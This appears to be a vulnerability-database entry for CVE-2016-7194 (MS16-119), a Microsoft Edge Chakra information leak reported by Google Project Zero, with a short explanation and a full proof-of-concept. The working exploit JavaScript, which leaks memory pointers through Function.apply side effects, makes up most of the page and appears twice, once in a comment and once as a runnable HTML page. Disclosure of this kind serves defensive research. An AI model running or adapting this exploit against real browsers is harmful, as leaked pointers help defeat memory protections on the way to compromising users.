Microsoft Edge - 'Function.apply' Information Leak (MS16-119)

🗓️ 20 Oct 2016 00:00:00Reported by Google Security ResearchType

Microsoft Edge Function.apply Information Leak MS16-11

Reporter	Title	Published	Views	Family All 21
BDU FSTEC	Microsoft Edge Code Execution	2 Dec 201600:00	–	bdu_fstec
Circl	CVE-2016-7194	20 Oct 201600:00	–	circl
CNVD	Microsoft Edge Scripting Engine Memory Corruption Vulnerability (CNVD-2016-09401)	13 Oct 201600:00	–	cnvd
Check Point Advisories	Microsoft Scripting Engine Memory Corruption (MS16-119: CVE-2016-7194)	11 Oct 201600:00	–	checkpoint_advisories
CVE	CVE-2016-7194	14 Oct 201601:00	–	cve
Cvelist	CVE-2016-7194	14 Oct 201601:00	–	cvelist
Github Security Blog	ChakraCore RCE Vulnerability	14 May 202202:22	–	github
Microsoft KB	MS16-119: Cumulative security update for Microsoft Edge: October 11, 2016	11 Oct 201600:00	–	mskb
Mend	CVE-2016-7194	14 Oct 201601:00	–	mend
NVD	CVE-2016-7194	14 Oct 201602:59	–	nvd

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=920

When Function.apply is called in Chakra, the parameter array is iterated through using JavascriptArray::ForEachItemInRange. This function accepts a templated parameter, hasSideEffect that allows the function to behave safely in the case that iteration has side effects. In JavascriptFunction::CalloutHelper (which is called by Function.apply) this parameter is set to false, even though iterating through the array can have side effects. This can cause an info leak if the side effects cause the array to change types from a numeric array to a variable array. A PoC is as folows and attached. Running this PoC causes an alert dialog with pointers in it.

var t = new Array(1,2,3);

function f(){

var h = [];
var a = [...arguments]
for(item in a){
	var n = new Number(a[item]);
	if( n < 0){

	n = n + 0x100000000;
	}
	h.push(n.toString(16));
}

alert(h);
}



var q = f;

t.length = 20;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      var ta = [];
      ta.fill.call(t, "natalie");
      return 5;
    }
  });

t.__proto__ = o;

var j = [];
var s = f.apply(null, t);

-->

<html><body><script>

var t = new Array(1,2,3);

function f(){

var h = [];
var a = [...arguments]
for(item in a){
	var n = new Number(a[item]);
	if( n < 0){

	n = n + 0x100000000;
	}
	h.push(n.toString(16));
}

alert(h);
}



var q = f;

t.length = 20;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      var ta = [];
      ta.fill.call(t, "natalie");
      return 5;
    }
  });

t.__proto__ = o;

var j = [];
var s = f.apply(null, t);

</script></body></html>

23 Oct 2016 00:00Current

7.2High risk

Vulners AI Score7.2

CVSS 37.5

CVSS 27.6

EPSS0.57866